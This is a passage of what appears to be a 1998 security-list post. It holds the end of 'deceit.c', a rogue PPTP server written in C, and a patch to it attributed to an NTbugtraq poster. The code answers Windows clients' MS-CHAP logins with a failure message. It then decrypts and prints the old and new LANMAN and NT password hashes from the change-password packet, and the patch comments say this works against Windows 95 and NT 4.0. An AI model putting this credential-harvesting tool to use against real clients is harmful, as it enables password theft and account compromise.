  785.   len = ntoh16(p->chap.length) - 54;
  786.   bcopy(((char *)p) + 4 + 54, name, len);
  787.   name[len] = '\0';
  788.   printf("   User: %s\n", name);
  789. }
  790.  
  791. void send_chap_failure()
  792. {
  793.   struct {
  794.     struct ppp_header ppp;
  795.     struct ppp_lcp_chap_header chap;
  796.     char message[64];
  797.   } pkt;
  798.  
  799.   printf("-> CHAP Failure\n");
  800.  
  801.   bzero(&pkt, sizeof(pkt));
  802.   pkt.ppp.address = hton8(PPP_ADDRESS);
  803.   pkt.ppp.control = hton8(PPP_CONTROL);
  804.   pkt.ppp.proto   = hton16(PPP_PROTO_CHAP);
  805.   pkt.chap.code   = hton8(PPP_CHAP_CODE_FAILURE);
  806.   pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR));
  807.   strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
  808.  
  809.   encaps_gre(&pkt,  4 + 4 + strlen(MSCHAP_ERROR));
  810. }
  811.  
  812. extern int des_check_key;
  813.  
  814. void paydirt(void *pack)
  815. {
  816.   unsigned char out[8], out2[8], key[8];
  817.   struct {
  818.     struct ppp_header ppp;
  819.     struct ppp_lcp_chap_header chap;
  820.     struct ppp_mschap_change_password passwds;
  821.   } *pkt;
  822.   des_key_schedule ks;
  823.  
  824.   pkt =  pack;
  825.   bzero(key, 8);
  826.  
  827.   printf("<- MSCHAP Change Password Version 1 Packet.\n");
  828.  
  829.   /* Turn off checking for weak keys within libdes */
  830.   des_check_key=0;
  831.   des_set_odd_parity((des_cblock *)key);
  832.   des_set_key((des_cblock *)key, ks);
  833.  
  834.   des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0);
  835.   des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0);
  836.   printf("   Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  837.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  838.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  839.  
  840.   des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0);
  841.   des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0);
  842.   printf("   New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  843.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  844.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  845.  
  846.   des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0);
  847.   des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0);
  848.   printf("   Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  849.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  850.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  851.  
  852.   des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0);
  853.   des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0);
  854.   printf("   New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  855.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  856.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  857.  
  858.   printf("   New Password Length: %d\n", ntoh16(pkt->passwds.pass_length));
  859.  
  860.   kill(pid, SIGTERM);
  861.   exit(0);
  862. }
  863.  
  864. -- cut here --
  865.  
  866. A1 posted some changes on NTbugtraq to this program.  Here is a patch :
  867.  
  868. *** deceit.c    Thu Jul  9 17:19:44 1998
  869. --- a    Mon Jul 13 13:20:54 1998
  870. ***************
  871. *** 9,22 ****
  872.    * C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
  873.    * implementation.
  874.    *
  875. !  * This code has been tested to work againts Windows NT 4.0 with the 
  876. !  * PPTP Performance Update. If the user has selected to use the same
  877. !  * username and password as the account they are currently logged in
  878. !  * but enter a different old password when the PPTP client password
  879.    * change dialog box appears the client will send the hash for a null
  880. !  * string for both the old LANMAN hash and old NT hash.
  881.    *
  882. !  * You must link this program against libdes. Email messages asking how 
  883.    * to do so will go to /dev/null.
  884.    *
  885.    * Define BROKEN_RAW_CONNECT if your system does not know how to handle
  886. --- 9,28 ----
  887.    * C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
  888.    * implementation.
  889.    *
  890. !  * This code has been tested to work againts Windows 95 with the Winsock,
  891. !  * DUN 1.2 and DUN 1.2b updates, and against Windows NT 4.0 with the PPTP
  892. !  * Performance Update running under HP-UX.
  893. !  *
  894. !  * Windows 95 does not send the old and new NT hashes when changing the
  895. !  * password.
  896. !  *
  897. !  * Under Windows NT 4.0 if the user has selected to use the same username
  898. !  * and password to logon to the PPTP server as the currently logged on
  899. !  * user but enters a different old password when the PPTP client password
  900.    * change dialog box appears the client will send the hash for a null
  901. !  * string for both the old LANMAN hash and the old NT hash.
  902.    *
  903. !  * You must link this program against libdes. Email messages asking how
  904.    * to do so will go to /dev/null.
  905.    *
  906.    * Define BROKEN_RAW_CONNECT if your system does not know how to handle
  907. ***************
  908. *** 29,34 ****
  909. --- 35,41 ----
  910.    */
  911.   
  912.   #include <stdio.h>
  913. + #include <strings.h>
  914.   #include <sys/time.h>
  915.   #include <netinet/in.h>
  916.   #include <sys/socket.h>
  917. ***************
  918. *** 190,225 ****
  919.   static u_int32_t seq_sent, seq_recv;
  920.   static u_int16_t pptp_gre_call_id;
  921.   
  922. ! #define PPP_ADDRESS            0xFF
  923. ! #define PPP_CONTROL            0x03
  924.   
  925.   /* PPP Protocols */
  926. ! #define PPP_PROTO_LCP            0xc021
  927. ! #define PPP_PROTO_CHAP            0xc223
  928.   
  929.   /* LCP Codes */
  930. ! #define PPP_LCP_CODE_CONF_RQST        1
  931. ! #define PPP_LCP_CODE_CONF_ACK        2
  932. ! #define PPP_LCP_CODE_IDENT        12
  933.   
  934.   /* LCP Config Options */
  935.   #define PPP_LCP_CONFIG_OPT_AUTH         3
  936. ! #define PPP_LCP_CONFIG_OPT_MAGIC    5
  937. ! #define PPP_LCP_CONFIG_OPT_PFC        7
  938. ! #define PPP_LCP_CONFIG_OPT_ACFC        8
  939.   
  940.   /* Auth Algorithms */
  941. ! #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP    0x80
  942.   
  943.   /* CHAP Codes */
  944. ! #define PPP_CHAP_CODE_CHALLENGE            1
  945. ! #define PPP_CHAP_CODE_RESPONCE            2
  946. ! #define PPP_CHAP_CODE_SUCESS            3
  947. ! #define PPP_CHAP_CODE_FAILURE            4
  948. ! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1    5
  949. ! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2    6
  950.   
  951. ! #define PPP_CHAP_CHALLENGE_SIZE        8
  952.   #define PPP_CHAP_RESPONCE_SIZE          49
  953.   
  954.   #define MSCHAP_ERROR    "E=648 R=0"
  955. --- 197,232 ----
  956.   static u_int32_t seq_sent, seq_recv;
  957.   static u_int16_t pptp_gre_call_id;
  958.   
  959. ! #define PPP_ADDRESS                     0xFF
  960. ! #define PPP_CONTROL                     0x03
  961.   
  962.   /* PPP Protocols */
  963. ! #define PPP_PROTO_LCP                   0xc021
  964. ! #define PPP_PROTO_CHAP                  0xc223
  965.   
  966.   /* LCP Codes */
  967. ! #define PPP_LCP_CODE_CONF_RQST          1
  968. ! #define PPP_LCP_CODE_CONF_ACK           2
  969. ! #define PPP_LCP_CODE_IDENT              12
  970.   
  971.   /* LCP Config Options */
  972.   #define PPP_LCP_CONFIG_OPT_AUTH         3
  973. ! #define PPP_LCP_CONFIG_OPT_MAGIC        5
  974. ! #define PPP_LCP_CONFIG_OPT_PFC          7
  975. ! #define PPP_LCP_CONFIG_OPT_ACFC         8
  976.   
  977.   /* Auth Algorithms */
  978. ! #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP   0x80
  979.   
  980.   /* CHAP Codes */
  981. ! #define PPP_CHAP_CODE_CHALLENGE                 1
  982. ! #define PPP_CHAP_CODE_RESPONCE                  2
  983. ! #define PPP_CHAP_CODE_SUCESS                    3
  984. ! #define PPP_CHAP_CODE_FAILURE                   4
  985. ! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1        5
  986. ! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2        6
  987.   
  988. ! #define PPP_CHAP_CHALLENGE_SIZE         8
  989.   #define PPP_CHAP_RESPONCE_SIZE          49
  990.   
  991.   #define MSCHAP_ERROR    "E=648 R=0"
  992. ***************
  993. *** 263,269 ****
  994.     u_int8_t type;
  995.     u_int8_t length;
  996.   };
  997. !   
  998.   
  999.   struct ppp_chap_challenge {
  1000.     u_int8_t size;
  1001. --- 270,276 ----
  1002.     u_int8_t type;
  1003.     u_int8_t length;
  1004.   };
  1005.   
  1006.   struct ppp_chap_challenge {
  1007.     u_int8_t size;
  1008. ***************
  1009. *** 287,293 ****
  1010.     u_int16_t flags;
  1011.   };
  1012.   
  1013. ! #define ppp_chap_responce    ppp_chap_challenge
  1014.   
  1015.   void net_init();
  1016.   void getjiggywithit();
  1017. --- 294,300 ----
  1018.     u_int16_t flags;
  1019.   };
  1020.   
  1021. ! #define ppp_chap_responce       ppp_chap_challenge
  1022.   
  1023.   void net_init();
  1024.   void getjiggywithit();
  1025. ***************
  1026. *** 384,390 ****
  1027.       switch(type)
  1028.       {
  1029.         /* we got a live one */
  1030. !       case PPTP_START_CTRL_CONN_RQST: 
  1031.           send_start_ctrl_conn_rply();
  1032.           break;
  1033.         case PPTP_OUT_CALL_RQST:
  1034. --- 391,397 ----
  1035.       switch(type)
  1036.       {
  1037.         /* we got a live one */
  1038. !       case PPTP_START_CTRL_CONN_RQST:
  1039.           send_start_ctrl_conn_rply();
  1040.           break;
  1041.         case PPTP_OUT_CALL_RQST:
  1042. ***************
  1043. *** 418,424 ****
  1044.     p.result_code      = 1;
  1045.     p.framing_cap      = hton32(PPTP_FRAME_ASYNC);   /* whatever */
  1046.     p.bearer_cap       = hton32(PPTP_BEARER_ANALOG); /* ditto    */
  1047. !   bcopy("owned", p.hostname, 5); 
  1048.     bcopy("r00t", p.vendor, 4);
  1049.   
  1050.     len = write(sd, &p, hlen);
  1051. --- 425,431 ----
  1052.     p.result_code      = 1;
  1053.     p.framing_cap      = hton32(PPTP_FRAME_ASYNC);   /* whatever */
  1054.     p.bearer_cap       = hton32(PPTP_BEARER_ANALOG); /* ditto    */
  1055. !   bcopy("owned", p.hostname, 5);
  1056.     bcopy("r00t", p.vendor, 4);
  1057.   
  1058.     len = write(sd, &p, hlen);
  1059. ***************
  1060. *** 441,447 ****
  1061.     pptp_gre_call_id = r->call_id;
  1062.   
  1063.     /* Start a process to handle the GRE/PPP packets */
  1064. !   if (!gre) 
  1065.     {
  1066.       gre = 1;
  1067.       switch((pid = fork()))
  1068. --- 448,454 ----
  1069.     pptp_gre_call_id = r->call_id;
  1070.   
  1071.     /* Start a process to handle the GRE/PPP packets */
  1072. !   if (!gre)
  1073.     {
  1074.       gre = 1;
  1075.       switch((pid = fork()))
  1076. ***************
  1077. *** 483,489 ****
  1078.   #ifndef BROKEN_RAW_CONNECT
  1079.     struct sockaddr_in src_addr;
  1080.   #endif
  1081. !   int s, n, stat;
  1082.   
  1083.     /* Open IP protocol socket */
  1084.     rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
  1085. --- 490,496 ----
  1086.   #ifndef BROKEN_RAW_CONNECT
  1087.     struct sockaddr_in src_addr;
  1088.   #endif
  1089. !   int n, stat;
  1090.   
  1091.     /* Open IP protocol socket */
  1092.     rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
  1093. ***************
  1094. *** 523,529 ****
  1095.     }
  1096.   
  1097.     /* Close up when done. */
  1098. !   close(rsd); 
  1099.   }
  1100.   
  1101.   int decaps_gre (int (*cb)(void *pack, unsigned len)) {
  1102. --- 530,536 ----
  1103.     }
  1104.   
  1105.     /* Close up when done. */
  1106. !   close(rsd);
  1107.   }
  1108.   
  1109.   int decaps_gre (int (*cb)(void *pack, unsigned len)) {
  1110. ***************
  1111. *** 531,540 ****
  1112.     struct pptp_gre_header *header;
  1113.     int status, ip_len=0;
  1114.   
  1115. !   if((status=read(rsd, buffer, sizeof(buffer)))<0) 
  1116.       {perror("gre"); exit(1); }
  1117.     /* strip off IP header, if present */
  1118. !   if ((buffer[0]&0xF0)==0x40) 
  1119.       ip_len = (buffer[0]&0xF)*4;
  1120.     header = (struct pptp_gre_header *)(buffer+ip_len);
  1121.   
  1122. --- 538,547 ----
  1123.     struct pptp_gre_header *header;
  1124.     int status, ip_len=0;
  1125.   
  1126. !   if((status=read(rsd, buffer, sizeof(buffer)))<0)
  1127.       {perror("gre"); exit(1); }
  1128.     /* strip off IP header, if present */
  1129. !   if ((buffer[0]&0xF0)==0x40)
  1130.       ip_len = (buffer[0]&0xF)*4;
  1131.     header = (struct pptp_gre_header *)(buffer+ip_len);
  1132.   
  1133. ***************
  1134. *** 546,555 ****
  1135.         (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set     */
  1136.         ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0  */
  1137.       /* if invalid, discard this packet */
  1138. !     printf("Discarding GRE: %X %X %X %X %X %X", 
  1139. !          ntoh8(header->ver)&0x7F, ntoh16(header->protocol), 
  1140.            PPTP_GRE_IS_C(ntoh8(header->flags)),
  1141. !          PPTP_GRE_IS_R(ntoh8(header->flags)), 
  1142.            PPTP_GRE_IS_K(ntoh8(header->flags)),
  1143.            ntoh8(header->flags)&0xF);
  1144.       return 0;
  1145. --- 553,562 ----
  1146.         (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set     */
  1147.         ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0  */
  1148.       /* if invalid, discard this packet */
  1149. !     printf("Discarding GRE: %X %X %X %X %X %X",
  1150. !          ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
  1151.            PPTP_GRE_IS_C(ntoh8(header->flags)),
  1152. !          PPTP_GRE_IS_R(ntoh8(header->flags)),
  1153.            PPTP_GRE_IS_K(ntoh8(header->flags)),
  1154.            ntoh8(header->flags)&0xF);
  1155.       return 0;
  1156. ***************
  1157. *** 569,585 ****
  1158.       /* check for incomplete packet (length smaller than expected) */
  1159.       if (status-headersize<payload_len) {
  1160.         printf("incomplete packet\n");
  1161. !       return 0; 
  1162.       }
  1163.       /* check for out-of-order sequence number */
  1164.       /* (handle sequence number wrap-around, cuz we're cool) */
  1165. !     if ((seq > seq_recv) || 
  1166.           (((seq>>31)==0) && (seq_recv>>31)==1)) {
  1167.         seq_recv = seq;
  1168.   
  1169.         return cb(buffer+ip_len+headersize, payload_len);
  1170.       } else {
  1171. !       printf("discarding out-of-order\n"); 
  1172.         return 0; /* discard out-of-order packets */
  1173.       }
  1174.     }
  1175. --- 576,592 ----
  1176.       /* check for incomplete packet (length smaller than expected) */
  1177.       if (status-headersize<payload_len) {
  1178.         printf("incomplete packet\n");
  1179. !       return 0;
  1180.       }
  1181.       /* check for out-of-order sequence number */
  1182.       /* (handle sequence number wrap-around, cuz we're cool) */
  1183. !     if ((seq > seq_recv) ||
  1184.           (((seq>>31)==0) && (seq_recv>>31)==1)) {
  1185.         seq_recv = seq;
  1186.   
  1187.         return cb(buffer+ip_len+headersize, payload_len);
  1188.       } else {
  1189. !       printf("discarding out-of-order\n");
  1190.         return 0; /* discard out-of-order packets */
  1191.       }
  1192.     }
  1193. ***************
  1194. *** 593,599 ****
  1195.     } u;
  1196.     static u_int32_t seq=0;
  1197.     unsigned header_len;
  1198. -   int out;
  1199.   
  1200.     /* package this up in a GRE shell. */
  1201.     u.header.flags        = hton8 (PPTP_GRE_FLAG_K);
  1202. --- 600,605 ----
  1203. ***************
  1204. *** 601,609 ****
  1205.     u.header.protocol     = hton16(PPTP_GRE_PROTO);
  1206.     u.header.payload_len  = hton16(len);
  1207.     u.header.call_id      = hton16(pptp_gre_call_id);
  1208. !   
  1209.     /* special case ACK with no payload */
  1210. !   if (pack==NULL) 
  1211.       if (ack_sent != seq_recv) {
  1212.         u.header.ver |= hton8(PPTP_GRE_FLAG_A);
  1213.         u.header.payload_len = hton16(0);
  1214. --- 607,615 ----
  1215.     u.header.protocol     = hton16(PPTP_GRE_PROTO);
  1216.     u.header.payload_len  = hton16(len);
  1217.     u.header.call_id      = hton16(pptp_gre_call_id);
  1218.     /* special case ACK with no payload */
  1219. !   if (pack==NULL)
  1220.       if (ack_sent != seq_recv) {
  1221.         u.header.ver |= hton8(PPTP_GRE_FLAG_A);
  1222.         u.header.payload_len = hton16(0);
  1223. ***************
  1224. *** 670,676 ****
  1225.             /* ignore */
  1226.             break;
  1227.           default:
  1228. !           printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code, 
  1229.               p->header.ident, ntoh16(p->header.length));
  1230.         }
  1231.         break;
  1232. --- 676,682 ----
  1233.             /* ignore */
  1234.             break;
  1235.           default:
  1236. !           printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
  1237.               p->header.ident, ntoh16(p->header.length));
  1238.         }
  1239.         break;
  1240. ***************
  1241. *** 686,697 ****
  1242.             paydirt(pack);
  1243.             break;
  1244.           default:
  1245. !           printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code, 
  1246.               p->header.ident, ntoh16(p->header.length));
  1247.         }
  1248.         break;
  1249.       default:
  1250. !       printf("<- PPP unknwon  packet: %X\n", ntoh16(p->ppp.proto)); 
  1251.     }
  1252.   
  1253.     return(1);
  1254. --- 692,703 ----
  1255.             paydirt(pack);
  1256.             break;
  1257.           default:
  1258. !           printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
  1259.               p->header.ident, ntoh16(p->header.length));
  1260.         }
  1261.         break;
  1262.       default:
  1263. !       printf("<- PPP unknwon  packet: %X\n", ntoh16(p->ppp.proto));
  1264.     }
  1265.   
  1266.     return(1);
  1267. ***************
  1268. *** 731,737 ****
  1269.     pkt.auth.length     = hton8(5);
  1270.     pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
  1271.     pkt.auth.algorithm  = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
  1272. !  
  1273.     encaps_gre(&pkt, 13);
  1274.   }
  1275.   
  1276. --- 737,743 ----
  1277.     pkt.auth.length     = hton8(5);
  1278.     pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
  1279.     pkt.auth.algorithm  = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
  1280.     encaps_gre(&pkt, 13);
  1281.   }
  1282.   
  1283. ***************
  1284. *** 757,762 ****
  1285. --- 763,769 ----
  1286.   }
  1287.   
  1288.   void print_challenge_responce(void *pack)
  1289.   {
  1290.     unsigned char name[512], *c;
  1291.     int len;
  1292. ***************
  1293. *** 769,780 ****
  1294.     p = pack;
  1295.   
  1296.     c = p->responce.value.responce.lanman;
  1297. !   printf("   LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1298.     c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  1299.     c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  1300.     c[22], c[23]);
  1301.     c = p->responce.value.responce.nt;
  1302. !   printf("   NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1303.     c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  1304.     c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  1305.     c[22], c[23]);
  1306. --- 776,787 ----
  1307.     p = pack;
  1308.   
  1309.     c = p->responce.value.responce.lanman;
  1310. !   printf("   LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1311.     c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  1312.     c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  1313.     c[22], c[23]);
  1314.     c = p->responce.value.responce.nt;
  1315. !   printf("   NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1316.     c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  1317.     c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  1318.     c[22], c[23]);
  1319.